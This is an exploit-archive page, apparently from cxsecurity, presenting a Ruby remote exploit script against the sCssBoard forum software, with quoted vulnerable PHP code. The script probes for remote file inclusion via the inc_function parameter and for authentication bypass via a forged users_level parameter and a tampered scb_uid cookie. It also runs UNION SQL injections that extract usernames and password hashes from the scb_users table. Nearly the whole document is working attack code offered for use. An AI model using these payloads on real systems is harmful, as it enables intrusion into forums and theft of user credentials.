sCssBoard (pwnpack) Multiple Versions Remote Exploit

2008.12.17
Credit: Elton Muuga
Risk: High
Local: No
Remote: Yes
CWE: CWE-287

#!/usr/bin/ruby #inphex - i didnt include all of those bugs into the code,this code basicly checks if the forum is vulnerable and also exploits SQL Injection bug! #all versions on sourceforge seem to be the same ;\ so check is beeing done on each version. - scb_ is set as default table prefix #this forum is very very very buggy,probably there are more bugs...those SQL queries etc ive used of course can be modified #/* #** sCssBoard, an extremely fast and flexible CSS-based message board system #** Copyright (CC) 2005 Elton Muuga #** #** This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike License. #** To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/2.0/ or send #** a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA. #*/ #probably not all #&act=showforum&f=1&t=3%20AND%201=0,blind sql injction #/functions/post.php #@mysql_query("insert into $_CON[prefix]posts (posts_main,posts_topic,posts_name,posts_body,posts_starter,posts_posted,posts_forum) values('yes','$next_topic','$topicname','$body','$uid','$currdate_time','$_GET[f]')"); # $topic_post_id = @mysql_fetch_array(@mysql_query("select posts_id from $_CON[prefix]posts where posts_main = 'yes' and posts_topic = '$next_topic'")); # @mysql_query("update $_CON[prefix]posts set posts_topic_lastpost = '$topic_post_id[0]' where posts_main = 'yes' and posts_topic = '$next_topic'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/post.php #@mysql_query("insert into $_CON[prefix]posts (posts_main,posts_topic,posts_body,posts_starter,posts_posted,posts_forum) values('no','$topic_details[posts_topic]','$body','$uid','$currdate_time','$_GET[f]')"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/post.php # @mysql_query("update $_CON[prefix]posts set posts_body = '$body' where posts_id = '$_GET[p]'"); # @mysql_query("update $_CON[prefix]posts set posts_name = '$topicname' where posts_id = '$_GET[p]' and posts_main = 'yes'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/post.php #$edited_post = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_id = '$_GET[p]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/post.php # $quoted_post = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_id = '$_GET[q]'")) ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/showforum.php #$get_cat = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]")); #$all_topics = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_main = 'yes' order by posts_topic_lastpost desc"); #$topic_query = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_main = 'yes' order by posts_topic_lastpost desc limit $start,$end"); #$num_topics = @mysql_num_rows($all_topics); # #while($topic_show = @mysql_fetch_array($topic_query)) { #$total_replies_topic = @mysql_num_rows(@mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_topic = '$topic_show[posts_topic]' and posts_main = 'no ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/showtopic.php #} else { # if (!$_GET[deltopic]) { # $result = mysql_query("delete from $_CON[prefix]posts where posts_id = '$_GET[del]'"); # $location_string = "&amp;t=$_GET[t]"; # } else { # $result = mysql_query("delete from $_CON[prefix]posts where posts_topic = '$_GET[del]'"); # } ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/showtopic.php #} elseif ($_GET[lock]) { # #@mysql_query("update $_CON[prefix]posts set posts_topic_locked = '$_GET[lock]' where posts_topic = '$_GET[t]' and posts_main = 'yes'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/showtopic.php #@mysql_query("update $_CON[prefix]posts set posts_views = posts_views + 1 where posts_topic = $_GET[t] and posts_forum = $_GET[f] and posts_main = 'yes'"); # #$forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]")); # #if ($ulvl < $forum[forums_p_read]) { die("<p align='center'>You are not authorized to view this topic.</p>"); } # #$topic_perms = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_topic = '$_GET[t]' and posts_main = 'yes'")); # # $posts_query = @mysql_query("select * from $_CON[prefix]posts where posts_topic = '$_GET[t]' and posts_forum = $_GET[f] and posts_main = 'yes'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/showtopic.php #$all_replies = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_topic = $_GET[t] and posts_main = 'no'"); # $replies_query = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_topic = $_GET[t] and posts_main = 'no' order by posts_posted asc limit $start,$end"); # $num_replies = @mysql_num_rows($all_replies); # if ((!$_GET[level_h]) and (!$_GET[level])) { # $users_query = mysql_query("select * from $_CON[prefix]users"); # } elseif ($_GET[level_h]) { # $users_query = mysql_query("select * from $_CON[prefix]users where users_level >= '$_GET[level_h]'"); # echo mysql_error(); # } elseif ($_GET[level]) { # $users_query = mysql_query("select * from $_CON[prefix]users where users_level = '$_GET[level]'"); # } #$numposts = mysql_num_rows(mysql_query("select * from $_CON[prefix]posts where posts_starter = '$users_show[users_id]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/functions/register.php #@mysql_query("insert into $_CON[prefix]users(users_username,users_password,users_email,users_style) values('$username','$password','$email','$_MAIN[default_style]')"); ######################################################################################################### ######################################################################################################### ######################################################################################################### ######################################################################################################### ######################################################################################################### ######################################################################################################### #admin/forums.php #} else { # # $done = @mysql_query("insert into $_CON[prefix]categories(category_name) values('$_POST[cat_name]')"); # if ($done == 1) { # echo "<center><b>Category ($_POST[cat_name]) created.</b></center><br /><br />"; # echo redirect("?act=admin-forums", 1); # } else { # echo "<center><b>Sorry, I was unable to create the category.</b></center><br /><br />"; # } ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #} elseif ($_GET[editcat]) { # # if (!$_GET[go]) { # #$category_2edit = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]categories where category_id = '$_GET[editcat]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php # if ($_POST[cat_name] != "") { # $done = @mysql_query("update $_CON[prefix]categories set category_name = '$_POST[cat_name]' where category_id = '$_GET[editcat]'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #} elseif ($_GET[delcat]) { # # if (!$_GET[go]) { # $category_2del = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]categories where category_id = '$_GET[delcat]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #@mysql_query("delete from $_CON[prefix]categories where category_id = '$_GET[delcat]'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #//********************************************************************** #// Begin Edit Forum #//********************************************************************** # #} elseif ($_GET[editforum]) { # # if (!$_POST[forums_name]) { # $forum_2edit = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = '$_GET[editforum]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php # } else { # # $done = @mysql_query("update $_CON[prefix]forums set forums_name = '$_POST[forums_name]', forums_category = '$_POST[forums_category]', forums_description = '$_POST[forums_desc]', forums_p_read = '$_POST[forums_p_read]', forums_p_topic = '$_POST[forums_p_topic]', forums_p_reply = '$_POST[forums_p_reply]' where forums_id = '$_GET[editforum]'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #} elseif ($_GET[delforum]) { # # if (!$go) { # # $forum_2del = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = '$_GET[delforum]'")); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php # @mysql_query("delete from $_CON[prefix]posts where posts_forum = '$_GET[delforum]'"); # @mysql_query("delete from $_CON[prefix]forums where forums_id = '$_GET[delforum]'"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #/admin/forums.php #} elseif ($_GET[reorder]) { # # $cat_order = $_POST[cat_order]; # $forum_order = $_POST[forum_order]; # # foreach($cat_order as $c_id => $c_order) { # # @mysql_query("update $_CON[prefix]categories set category_order = '$c_order' where category_id = '$c_id'"); # #} # # foreach($forum_order as $f_id => $f_order) { # # @mysql_query("update $_CON[prefix]forums set forums_order = '$f_order' where forums_id = '$f_id'"); # # } # echo redirect("?act=admin-forums"); ######################################################################################################### ######################################################################################################### ######################################################################################################### #if ($board_name) { # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[board_name]' where setting_name = 'board_name'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[allow_signups]' where setting_name = 'allow_signups'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[cookie_url]' where setting_name = 'cookie_url'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[cookie_path]' where setting_name = 'cookie_path'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[redir_method]' where setting_name = 'redir_method'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[sig_bbcode]' where setting_name = 'sig_bbcode'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[debug_level]' where setting_name = 'debug_level'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[date_format]' where setting_name = 'date_format'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[default_style]' where setting_name = 'default_style'"); # @mysql_query("update $_CON[prefix]settings set setting_value = '$_POST[use_relative_dates]' where setting_name = 'use_relative_dates'"); # echo "<center><b>Settings saved.</b></center><br /><br />"; # echo redirect("?act=admin-general", 1); ######################################################################################################### ######################################################################################################### ######################################################################################################### #old version #if($_GET[setcookie]) { # $checkagain = mysql_fetch_array(mysql_query("select * from $_CON[prefix]users where users_username = '$_GET[u]' and users_password = '$_GET[p]'")); # echo mysql_error(); # if ($_GET[r] == 1) { # setcookie("sCssBoard",$checkagain[users_password],time()+2592000,"$_MAIN[cookie_path]","$_MAIN[cookie_url]"); # } else { # setcookie("sCssBoard",$checkagain[users_password],0,"$_MAIN[cookie_path]","$_MAIN[cookie_url]"); # } #} require 'open-uri' require 'net/http' require 'net/https' require 'base64' require 'irb' require 'uri' #Session Hijacking #} elseif ($_GET[act] == "logout") { # echo "<p align='center'>"; # if(!$current_user) { # echo "You cannot log out, because you are not logged in."; # } else { # setcookie("scb_uid",0,time()-2592000,"$_MAIN[cookie_path]","$_MAIN[cookie_url]"); # setcookie("scb_ident",0,time()-2592000,"$_MAIN[cookie_path]","$_MAIN[cookie_url]"); # echo "Logged out successfully."; # echo redirect("index.php"); # } # echo "</p><br />"; ######################################################################################################### # $body = $_POST[body]; #if($body == "") { # echo "<p align='center' style='background-color:#fff; color:#333; padding:10px;'>Error: The post was left blank. <a href='javascript:history.back()'>Back...</a></p>"; # } else { # $topic_details = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_forum = '$_GET[f]' and posts_topic = '$_GET[t]' and posts_main = 'yes'")); x = 0 cmd_n = { "-h" => "host","-p" => "path"} cmd_v = {} set = {} puts "usage: rub -h host.com -p /path/" ARGV.each do |a| x += 1 cmd_n.each do |l,v| if a == l cmd_v[v] = ARGV[x] end end end class Pwnag r_g = 0 m_g = 0 def initialize(host,path,version) #let's start PWNZIN' puts "-Going through sCssBoard Version: #{version}\n" puts "-Checking php.ini settings\n" req = General.new() con = req.request(host,path+"index.php?&act=xxx&inc_function=registerglobalson-'S","") if con =~ /registerglobalson/ then puts "-register_globals = ON\n" r_g = 1 else puts "-register_globals = OFF\n" r_g = 0 end if con=~/registerglobalson-'S/ puts "-magic_quotes_gpc = OFF\n" m_g = 0 else puts "-magic_quotes_gpc = ON\n" m_g = 1 end req = General.new() con = req.request(host,path+"index.php?act=profile&u='union%20select%2032498394829,32982890280927337,1,1,1,1,1,1,1,1,1,1'","") if con=~/32982890280927337/ then puts "-magic_quotes_gpc = OFF\n" m_g = 0 else puts "-magic_quotes_gpc = ON\n" m_g = 1 end if r_g == 1 && m_g == 0 puts "-Excellent,very very easy to exploit" else if r_g == 0 && m_g == 1 puts "-Bad luck,hard to exploit" else if r_g == 0 && m_g == 0 puts "-Quite easy to exploit" else if r_g == 1 && m_g == 1 puts "-Yo,quite easy" end end end end req.exploit_shit(host,path,version) end end class Ownstance version = "1.1" supported = ["1.0","1.11","1.12"] con = "" def initialize(set) unless set[:host] or set[:path] != nil puts "HTTP Host/path?" exit end end def checkversion(host,path) req = General.new() con = req.request(host,path,"") if con=~/sCssBoard<\/a> 1.12/ then version = 1.12 else if con =~/sCssBoard<\/a> 1.11/ then version = 1.11 else if con=~/sCssBoard<\/a> 1.0/ then version = 1.0 else version = "unknown" end end end pwn = Pwnag.new(host,path,version) end end class General tb_prefix = "scb_" a_pb = nil def exploit_shit(host,path,version) puts "-Trying to exploit sCssBoard #{version}\n" if version == 1.12 puts "-------------------Checking for FILE INCLUSION Bugs-------------------" version_112_1(host,path) puts "-------------------END FILE INCLUSION BUGS-------------------" puts "-------------------Checking for AUTHENTICATION Bugs-------------------" version_112_2(host,path) version_112_6(host,path) puts "-------------------END AUTHENTICATION Bugs-------------------" puts "-------------------Starting to check for SQL Injection bugs-------------------" #there are more possible version_112_3(host,path) version_112_4(host,path) version_112_5(host,path) version_112_7(host,path) puts "-------------------END SQL Injection-------------------" else if version == 1.11 puts "-------------------Checking for FILE INCLUSION Bugs-------------------" version_112_1(host,path) puts "-------------------END FILE INCLUSION BUGS-------------------" puts "-------------------Checking for AUTHENTICATION Bugs-------------------" version_112_2(host,path) version_112_6(host,path) puts "-------------------END AUTHENTICATION Bugs-------------------" puts "-------------------Starting to check for SQL Injection bugs-------------------" version_112_3(host,path) version_112_4(host,path) version_112_5(host,path) version_112_7(host,path) puts "-------------------END SQL Injection-------------------" else if version == 1.0 puts "-------------------Checking for FILE INCLUSION Bugs-------------------" version_112_1(host,path) puts "-------------------END FILE INCLUSION BUGS-------------------" puts "-------------------Checking for AUTHENTICATION Bugs-------------------" version_112_2(host,path) version_112_6(host,path) puts "-------------------END AUTHENTICATION Bugs-------------------" puts "-------------------Starting to check for SQL Injection bugs-------------------" version_112_3(host,path) version_112_4(host,path) version_112_5(host,path) version_112_7(host,path) else puts "-------------------Checking for FILE INCLUSION Bugs-------------------" version_112_1(host,path) puts "-------------------END FILE INCLUSION BUGS-------------------" puts "-------------------Checking for AUTHENTICATION Bugs-------------------" version_112_2(host,path) version_112_6(host,path) puts "-------------------END AUTHENTICATION Bugs-------------------" puts "-------------------Starting to check for SQL Injection bugs-------------------" version_112_3(host,path) version_112_4(host,path) version_112_5(host,path) version_112_7(host,path) end end end end def version_112_1(host,path) ######################################################################################################### #$functions = array ( # "home" => "functions/main.php", # "register" => "functions/register.php", # "login" => "functions/loginlogout.php", # "logout" => "functions/loginlogout.php", # "profile" => "functions/profile.php", # "post" => "functions/post.php", # "users" => "functions/users.php", # "search" => "functions/search.php", # "search-results" => "functions/searchresults.php", # "showforum" => "_showforum", # //-------------------- # "admin-home" => "admin/main.php", # "admin-general" => "admin/general.php", # "admin-forums" => "admin/forums.php" # ); #foreach ($functions as $func => $address) { # if ($act == $func) { # $inc_function = $address; # break; # } #} # #if ($inc_function == "_showforum") { # if ($_GET[t] == "") { # $inc_function = "functions/showforum.php"; # } else { # $inc_function = "functions/showtopic.php"; # } #} #if ($inc_function) { # include($inc_function); //probably rfi,lfi #} else { # include("functions/main.php"); #} ######################################################################################################### - con = request(host,path+"index.php?&act=xxxxxxx&inc_function=http://shellpathownmeinph","") if con =~/URL file-access is disabled/ #automaticly means that inc_function has been given puts "URL File-access = OFF\n" end if con=~/shellpathownmeinph/ puts "This forum is vulnerable to RFI/LFI/RCE... ->index.php?&act=xxxxxxx&inc_function=shell\n" end end def version_112_2(host,path) ######################################################################################################### #if ($current_user[users_level] < 3) { # die("Insufficient access level."); #} # if($_GET[update] == "now") { # if (($current_user[users_level] < 3) and ($_GET[u] != $_COOKIE[scb_uid])) { # die("You do not have the necessary permissions to modify this profile."); # } ######################################################################################################### con = request(host,path+"admin/forums.php?current_user[users_level]=4","") if con=~/Insufficient access level/ else puts "This forum is vulnerable to AUTH_BYPASS,$current_user[users_level] -> host/path/admin/forums.php?current_user[users_level]=4" end end def version_112_3(host,path) ######################################################################################################### #if ($_GET[viewcat]) { #$category_query = mysql_query("select * from $_CON[prefix]categories where category_id = '$_GET[viewcat]'"); ######################################################################################################### con = request(host,path+"index.php?viewcat='union%20select%201,2,32982890280927337'","") if con=~/32982890280927337/ puts "This forum is vulnerable to SQL Injection,index.php?viewcat='sql\n" end end def version_112_4(host,path) ######################################################################################################### # if($_GET[f] == "") {} else { #$forum = mysql_fetch_array(mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]")); # echo mysql_error(); # if ($forum[forums_p_read] <= $ulvl) { #$topic = mysql_fetch_array(mysql_query("select * from $_CON[prefix]posts where posts_id = $_GET[t] and posts_forum = $_GET[f] and posts_main = 'yes'")); ######################################################################################################### con = request(host,path+"index.php?&act=showforum&f=-1%20union%20select%201,2,3,32982890280927337,5,1,1,1","") if con=~/32982890280927337/ puts "This forum is vulnerable to SQL Injection,index.php?&act=showforum&f=-1 sql\n" end con = request(host,path+"index.php?&act=showforum&f=-1%20union%20select%201,2,3,users_username,5,1,1,1%20from%20scb_users","") puts "Username:" regex = /<title>(.*?)<\/title>/ credentials = con.scan(regex) puts credentials[0] con = request(host,path+"index.php?&act=showforum&f=-1%20union%20select%201,2,3,users_password,5,1,1,1%20from%20scb_users","") puts "Password:" regex = /<title>(.*?)<\/title>/ credentials = con.scan(regex) puts credentials[0] end def version_112_5(host,path) #no check? #if (!$_GET[u]) { # $user = $current_user[users_id]; #} else { # $user = $_GET[u]; #} #$user_details = mysql_fetch_array(mysql_query("select * from $_CON[prefix]users where users_id = '$user'")); con = request(host,path+"index.php?act=profile&u='union%20select%2032498394829,32982890280927337,1,1,1,1,1,1,1,1,1,1'","") if con=~/32982890280927337/ puts "This forum is vulnerable to SQL Injection,index.php?act=profile&u='sql\n" end end def version_112_6(host,path) ######################################################################################################### - #if (($_COOKIE[scb_uid]) and ($_COOKIE[scb_ident])) { #$current_user = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]users where users_id = '$_COOKIE[scb_uid]' and users_password = '$_COOKIE[scb_ident]'")); ######################################################################################################### - con = request(host,path+"index.php","scb_uid=1'; scb_ident='1=1") if con=~/Logged in as/ puts "This forum is vulnerable to AUTH_BYPASS,_COOKIE -> set cookie to scb_uid=1'; scb_ident='1=1\n" end end def version_112_7(host,path) end def request(host,path,cookie) http = Net::HTTP.new(host, 80) http.use_ssl = false path = path headers = { 'Cookie' => cookie } resp, data = http.get(path, headers) return data end def blind_sql puts "Lol" end end set[:host] = cmd_v["host"].gsub(/http\:\/\//, "") set[:path] = cmd_v["path"] scss = Ownstance.new(set) scss.checkversion(set[:host] ,set[:path])

References:

http://www.milw0rm.com/exploits/5149


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top